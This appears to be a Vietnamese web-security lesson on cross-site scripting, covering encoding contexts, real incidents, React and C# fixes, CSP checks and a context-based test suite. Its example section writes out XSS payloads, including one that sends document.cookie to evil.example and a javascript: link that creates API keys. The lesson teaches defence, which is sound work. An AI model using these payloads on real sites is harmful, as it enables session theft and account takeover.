Là gì
XSS là lỗi khi dữ liệu do người dùng kiểm soát được trình duyệt diễn giải thành CODE thay vì nội dung. Script của kẻ tấn công chạy trong origin của bạn, nên nó có mọi thứ mà JavaScript của bạn có: cookie không HttpOnly, token trong localStorage, và quyền gửi request đã kèm session của nạn nhân.
Vì sao bạn quan tâm
Điều làm XSS khó vá không phải là escape — mà là ngữ cảnh. Cùng một chuỗi cần bốn cách mã hoá khác nhau tuỳ nó nằm ở đâu: thân HTML, giá trị attribute, trong <script>, hay trong href. Một hàm escapeHtml() duy nhất dùng khắp nơi là bản vá đúng ở một ngữ cảnh và vô dụng ở ba ngữ cảnh còn lại.
Với framework hiện đại (React, Vue, Angular, Razor), XSS thân HTML gần như đã chết vì mặc định escape. Điều đó dịch chuyển toàn bộ rủi ro sang ba chỗ còn lại, và đó là ba chỗ bạn nên đi tìm:
- Cửa thoát khỏi framework:
dangerouslySetInnerHTML,v-html,[innerHTML],@Html.Raw. - DOM XSS: dữ liệu không đi qua server bao giờ, nên WAF và test server-side đều không thấy.
href/srcnhậnjavascript:— escape HTML không cứu được vì không có ký tự nào cần escape.
Về thiệt hại: XSS không dừng ở "đánh cắp cookie". Nó là thực thi code trong phiên của nạn nhân, nghĩa là nó làm được mọi thao tác nạn nhân làm được — đổi email, thêm khoá API, chuyển tiền — và làm được ngay cả khi cookie là HttpOnly + SameSite, vì script không cần đọc cookie để gửi request kèm nó.
Cơ chế hoạt động
Ba loại khác nhau ở chỗ payload ĐI QUA đâu, và điều đó quyết định bạn tìm nó ở đâu.
flowchart LR subgraph S["Stored — nguy hiểm nhất"] direction LR A1[Kẻ tấn công POST comment] --> D[(DB)] D --> V1[Mọi người xem trang] end subgraph R["Reflected"] direction LR A2[Link chứa payload] --> Sv[Server phản chiếu vào HTML] Sv --> V2[Nạn nhân bấm link] end subgraph DM["DOM — server không thấy"] direction LR A3["Link có #fragment"] --> B["JS trên trang đọc<br/>location.hash → innerHTML"] B --> V3[Nạn nhân bấm link] endDOM XSS đáng chú ý riêng: #fragment không bao giờ được gửi tới server. Không có dòng log nào, không có WAF nào thấy nó, và không có integration test server-side nào bắt được nó.
Bốn ngữ cảnh, bốn cách mã hoá — đây là bảng quan trọng nhất của trang:
| Ngữ cảnh | Payload thoát ra bằng | Mã hoá đúng |
|---|---|---|
Thân HTML <p>HERE</p> | <script> | < > & |
Attribute value="HERE" | " onmouseover= | HTML-encode và luôn có dấu ngoặc kép |
Trong <script> | </script> hoặc \ | JSON-encode, và < → \u003c |
URL href="HERE" | javascript:alert(1) | Kiểm scheme — escape HTML không giúp gì |
Hàng cuối là hàng bị bỏ sót nhiều nhất: javascript:alert(1) không chứa một ký tự nào mà HTML escaping quan tâm.
Mô tả sơ đồ: Sơ đồ ba nhóm cho ba loại XSS. Stored: kẻ tấn công POST một comment, payload nằm trong cơ sở dữ liệu và chạy với mọi người xem trang. Reflected: kẻ tấn công gửi một link chứa payload, server phản chiếu nó vào HTML, nạn nhân bấm link. DOM: link chứa fragment, JavaScript trên trang đọc location.hash rồi ghi vào innerHTML — fragment không bao giờ tới server nên server không thấy gì.
Ví dụ cụ thể
Một trang profile hiển thị tên người dùng ở hai chỗ và một link "website cá nhân". Ba ngữ cảnh, ba payload khác nhau, cùng một trường dữ liệu.
PATCH /api/profile HTTP/1.1Content-Type: application/json {"displayName":"<img src=x onerror=fetch('https://evil.example/?c='+document.cookie)>", "website":"javascript:fetch('/api/keys',{method:'POST'})"}HTML sinh ra bởi bản lỗi:
<h1><img src=x onerror=fetch('https://evil.example/?c='+document.cookie)></h1><input value="" onmouseover="alert(1)" x=""><a href="javascript:fetch('/api/keys',{method:'POST'})">website</a><script>var user = {"name":"</script><script>alert(1)</script>"};</script>Bốn dòng, bốn ngữ cảnh, và một hàm escape duy nhất chỉ sửa được dòng đầu. Đó là toàn bộ lập luận của khối 6.
export function Profile({ user }: { user: User }) { return ( <> {/* React escape chỗ này đúng. Đây là 95% và nó không phải vấn đề. */} <h2>{user.displayName}</h2> {/* ❌ 1 — cửa thoát. "bio hỗ trợ markdown" là lý do nó luôn xuất hiện. */} <div dangerouslySetInnerHTML={{ __html: user.bioHtml }} /> {/* ❌ 2 — href không được kiểm scheme. React KHÔNG kiểm chỗ này, và javascript:… không chứa ký tự nào mà HTML-escaping quan tâm. */} <a href={user.website}>website</a> {/* ❌ 3 — DOM XSS. location.hash không bao giờ tới server, nên không có log, không có WAF, không có integration test nào thấy nó. */} <div ref={(el) => el && (el.innerHTML = decodeURIComponent(location.hash.slice(1)))} /> </> );}Chuyện đã xảy ra
British Airways, tháng 8–9/2018 — 429.612 khách hàng, phạt £20 triệu. Magecart chèn 22 dòng JavaScript đã sửa vào một file modernizr được host trên site của BA. Script bắt dữ liệu form thanh toán khi người dùng bấm submit và gửi sang baways.com. Báo cáo của ICO chỉ ra hai điều quan trọng: BA không có kiểm tra tính toàn vẹn của file JS, và không phát hiện được trong 15 ngày. Đây là lý do khối 6 có lớp CSP và SRI — chúng là hai thứ duy nhất trong danh sách phát hiện được kiểu tấn công này.
Samy (MySpace), tháng 10/2005 — hơn 1 triệu profile trong 20 giờ. Stored XSS trong phần CSS của profile, tự nhân bản khi có người xem. Đáng đọc vì nó cho thấy stored XSS lan theo hàm số mũ: mỗi nạn nhân trở thành nguồn lây tiếp.
Cách phòng chống
Mã hoá theo NGỮ CẢNH, do template engine làm
bắt buộcNguyên tắc: không tự escape bằng tay. Dùng framework escape theo mặc định (React {}, Razor @, Vue {{ }}) và để nó biết nó đang ở ngữ cảnh nào. Escape bằng tay thất bại vì người viết phải nhớ đúng ngữ cảnh ở mọi chỗ, mãi mãi.
Ba trường hợp framework KHÔNG lo được, và cách lo:
- Cửa thoát (
dangerouslySetInnerHTML,v-html,@Html.Raw): nếu thật sự cần HTML từ người dùng thì đi qua sanitizer allowlist — DOMPurify ở client, Ganss.Xss ở .NET. Không tự viết sanitizer; đây là bài toán mà mọi bản tự viết đều thua. - URL trong
href/src: kiểm scheme trước khi render. Chỉhttp,https,mailto. Đây là kiểm mà HTML-encoding không thay được. - Dữ liệu nhúng vào
<script>: đừng nhúng. Dùng<script type="application/json">rồiJSON.parse— hoặc nếu buộc phải nhúng thì JSON-encode và escape<thành\u003c.
import DOMPurify from "dompurify"; /** * Kiểm SCHEME, không escape. Đây là chỗ mà HTML-encoding không thay thế được: * "javascript:alert(1)" không chứa <, >, & hay dấu nháy nào, nên mọi hàm escape * đều cho nó đi qua nguyên vẹn. * * Allowlist ba scheme. "data:" KHÔNG có trong danh sách: data:text/html,<script>… * là XSS đầy đủ, và "vbscript:" thì vẫn còn sống trong một số WebView. */const SAFE_SCHEMES = new Set(["http:", "https:", "mailto:"]); function safeHref(raw: string | null | undefined): string | undefined { if (!raw) return undefined; try { // Base tuỳ ý để URL tương đối vẫn parse được; ta chỉ quan tâm protocol. const url = new URL(raw, "https://placeholder.invalid"); return SAFE_SCHEMES.has(url.protocol) ? raw : undefined; } catch { return undefined; // không parse được thì không render — không "cứ thử xem". }} export function Profile({ user }: { user: User }) { // Sanitize lúc RENDER, không lúc lưu: cùng một dữ liệu có thể được render ở // ngữ cảnh khác về sau, và dữ liệu vào DB từ import/job/admin không đi qua // sanitizer nào cả. const bio = DOMPurify.sanitize(user.bioHtml, { ALLOWED_TAGS: ["p", "br", "strong", "em", "ul", "ol", "li", "a", "code"], ALLOWED_ATTR: ["href"], ALLOWED_URI_REGEXP: /^https?:\/\//i, }); const href = safeHref(user.website); return ( <> <h2>{user.displayName}</h2> <div dangerouslySetInnerHTML={{ __html: bio }} /> {/* Không có href an toàn thì render text, không render link chết. */} {href ? <a href={href} rel="noopener noreferrer">website</a> : <span>{user.website}</span>} {/* DOM XSS: textContent thay innerHTML. Trình duyệt không parse HTML từ textContent, nên không có ngữ cảnh nào để thoát ra. */} <div ref={(el) => el && (el.textContent = decodeURIComponent(location.hash.slice(1)))} /> </> );}CSP, và nó phải là loại nonce/hash
script-src 'self' gần như vô dụng vì kẻ tấn công chèn được <script src="/uploads/x.js">. CSP đáng tiền là dạng:
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none''strict-dynamic' cho phép script đã tin cậy nạp thêm script, nên nó sống được với bundler thật. base-uri 'none' chặn <base> injection — một chi tiết bị bỏ sót ở gần như mọi CSP thực tế. CSP không vá XSS; nó chuyển "chạy được code" thành "chèn được HTML mà không chạy được".
/// <summary>/// CSP dạng nonce. Ba quyết định ở đây đều là chỗ CSP thực tế hay làm sai:////// • nonce sinh MỖI REQUEST. Nonce dùng lại là nonce mà kẻ tấn công đọc được từ/// một response trước rồi dùng cho payload của mình./// • KHÔNG có 'unsafe-inline'. Đặt cùng nonce thì trình duyệt cũ dùng/// unsafe-inline và bỏ nonce — nonce thành trang trí./// • base-uri 'none'. Bị bỏ sót ở gần như mọi CSP thật: thiếu nó, một/// <base href="https://evil"> chèn được sẽ đổi đích của mọi URL tương đối./// </summary>public sealed class CspMiddleware{ private readonly RequestDelegate _next; public CspMiddleware(RequestDelegate next) => _next = next; public async Task InvokeAsync(HttpContext ctx) { var nonce = Convert.ToBase64String(RandomNumberGenerator.GetBytes(16)); ctx.Items["csp-nonce"] = nonce; // Razor đọc lại: <script nonce="@nonce"> ctx.Response.Headers["Content-Security-Policy"] = string.Join("; ", [ "default-src 'self'", // 'strict-dynamic' cho script đã tin cậy nạp thêm script — không có nó // thì mọi bundler chia chunk động đều vỡ, và người ta sẽ tắt CSP. $"script-src 'nonce-{nonce}' 'strict-dynamic' https:", "style-src 'self' 'unsafe-inline'", // CSS inline không chạy được code "img-src 'self' data: https:", "connect-src 'self'", "object-src 'none'", // chặn <object>/<embed> Flash-era "base-uri 'none'", // chặn <base> injection "frame-ancestors 'none'", // clickjacking, cùng một header "form-action 'self'", // chặn đổi đích của form đã chèn "require-trusted-types-for 'script'", // chặn cả họ DOM XSS ở tầng API "report-uri /api/csp-report", // thứ DUY NHẤT cho biết đang bị thử ]); await _next(ctx); }}SRI cho mọi script bên thứ ba
integrity="sha384-…" là biện pháp trực tiếp cho kiểu tấn công British Airways. Không có nó, một file JS bị sửa là một file JS được chạy.
Giảm giá trị của một lần XSS thành công
Cookie HttpOnly + SameSite=Lax + Secure. Không để token trong localStorage — nó đọc được bằng một dòng JS, còn cookie HttpOnly thì không. Đây là lớp 3 vì nó không chặn XSS: script vẫn gửi được request kèm cookie. Nó chỉ giới hạn thiệt hại.
Kiểm chứng đã vá
1. Test theo NGỮ CẢNH, không theo payload. Test một payload <script>alert(1)</script> ở thân HTML không nói gì về ba ngữ cảnh còn lại. Test phải render cùng một chuỗi độc hại vào cả bốn vị trí và khẳng định đầu ra ở mỗi vị trí. Xem tab typescript / test.
2. Grep cửa thoát, chặn merge — phép kiểm có tỉ lệ hiệu quả cao nhất:
grep -rnE 'dangerouslySetInnerHTML|v-html|\[innerHTML\]|Html\.Raw|\.innerHTML *=' \ --include='*.tsx' --include='*.vue' --include='*.cshtml' --include='*.ts' src/ \ | grep -v 'sanitize\|DOMPurify' \ && { echo "Cửa thoát HTML không qua sanitizer — chặn"; exit 1; }exit 03. Kiểm CSP đang thực sự phục vụ, và đúng loại:
H=$(curl -sI https://app.example.com/ | tr -d '\r')echo "$H" | grep -qi "content-security-policy:.*nonce-" \ || { echo "CSP thiếu hoặc không dùng nonce"; exit 1; }echo "$H" | grep -qi "unsafe-inline" \ && { echo "CSP có unsafe-inline — nonce trở thành vô nghĩa"; exit 1; }echo "$H" | grep -qi "base-uri" || echo "CẢNH BÁO: thiếu base-uri"unsafe-inline cùng với nonce là sai lầm phổ biến nhất: trình duyệt cũ dùng unsafe-inline và bỏ nonce.
4. Kiểm SRI trên mọi script bên ngoài:
curl -s https://app.example.com/ \ | grep -oE '<script[^>]+src="https?://[^"]+"[^>]*>' \ | grep -v integrity= \ && { echo "Có script bên ngoài không có SRI"; exit 1; }exit 05. Bật report-to trên CSP và theo dõi. Một report bất thường là dấu hiệu XSS đang bị thử — đây là thứ duy nhất trong danh sách cho bạn biết trong lúc nó đang xảy ra, và là thứ BA không có trong 15 ngày.
import { render } from "@testing-library/react"; /** * Cấu trúc của bộ test này là điểm chính, không phải các payload: * cùng MỘT chuỗi độc hại được render vào BỐN ngữ cảnh, và mỗi ngữ cảnh có một * khẳng định riêng. Test một payload ở thân HTML rồi kết luận "đã vá XSS" là * cách mà ba ngữ cảnh còn lại lọt qua. */describe("Profile — mã hoá theo ngữ cảnh", () => { const PAYLOADS = { htmlBody: '<img src=x onerror="window.__pwned=1">', attribute: '" onmouseover="window.__pwned=1" x="', scriptCtx: '</script><script>window.__pwned=1</script>', urlScheme: 'javascript:window.__pwned=1', }; beforeEach(() => { delete (window as any).__pwned; }); it("thân HTML: tag nguy hiểm bị sanitizer loại bỏ", () => { const { container } = render(<Profile user={u({ bioHtml: PAYLOADS.htmlBody })} />); expect(container.querySelector("img")).toBeNull(); expect(container.innerHTML).not.toContain("onerror"); }); it("href: scheme javascript: không được render", () => { const { container } = render(<Profile user={u({ website: PAYLOADS.urlScheme })} />); const a = container.querySelector("a"); // Không có <a> nào, hoặc có mà href không phải javascript: — cả hai đều đạt. expect(a?.getAttribute("href") ?? "").not.toMatch(/^javascript:/i); expect((window as any).__pwned).toBeUndefined(); }); it("attribute: dấu nháy không thoát ra được", () => { const { container } = render(<Profile user={u({ displayName: PAYLOADS.attribute })} />); expect(container.querySelector("[onmouseover]")).toBeNull(); }); /** * DOM XSS. Chỉ test này chạm tới được nó, vì fragment không bao giờ đi tới * server — nên không có test server-side nào thấy nó. */ it("fragment: hash được ghi bằng textContent, không phải innerHTML", () => { window.location.hash = "#" + encodeURIComponent(PAYLOADS.htmlBody); const { container } = render(<Profile user={u({})} />); expect(container.querySelector("img")).toBeNull(); // Chuỗi vẫn hiện ra — dưới dạng CHỮ, đó mới là đúng. expect(container.textContent).toContain("<img src=x"); });});Sai lầm thường gặp
| "Bản vá" | Vì sao không đúng |
|---|---|
Một hàm escapeHtml() dùng khắp nơi | Đúng ở thân HTML, vô dụng trong <script>, và không thấy javascript: trong href |
Xoá <script> khỏi input | <img onerror=>, <svg onload=>, <iframe srcdoc=>, <body onpageshow=> — danh sách này không kết thúc |
| Sanitize lúc LƯU, không lúc RENDER | Cùng một dữ liệu sau đó được render ở ngữ cảnh khác. Và dữ liệu vào DB từ một đường khác (import, job, admin) thì không qua sanitizer nào |
| Tự viết sanitizer HTML | Đây là bài toán mà mọi bản tự viết đều thua. mXSS qua namespace confusion là ví dụ: <svg><style><img src=x onerror=…> |
encodeURIComponent cho href | Nó mã hoá đường dẫn, không kiểm scheme. javascript:alert(1) đi qua nguyên vẹn |
CSP script-src 'self' | Kẻ tấn công chèn <script src="/uploads/avatar.js">, hoặc lợi dụng một JSONP endpoint cùng origin |
CSP có cả nonce và unsafe-inline | Trình duyệt cũ dùng unsafe-inline; nonce trở thành trang trí |
HttpOnly nên "XSS không sao" | Script vẫn gửi được request kèm cookie đó. Nó không cần đọc cookie để dùng cookie |
Sai lầm về loại: chỉ test reflected XSS. DOM XSS không đi qua server, nên toàn bộ test suite server-side và WAF đều mù với nó. Nó cần test ở trình duyệt thật.
Sai lầm về niềm tin: "React tự escape nên chúng ta an toàn". React escape thân HTML. Nó không kiểm href={userUrl} — và javascript: trong href là XSS đầy đủ trong một app React sạch sẽ.
Bình luận
Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.
Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.
Đang tải bình luận…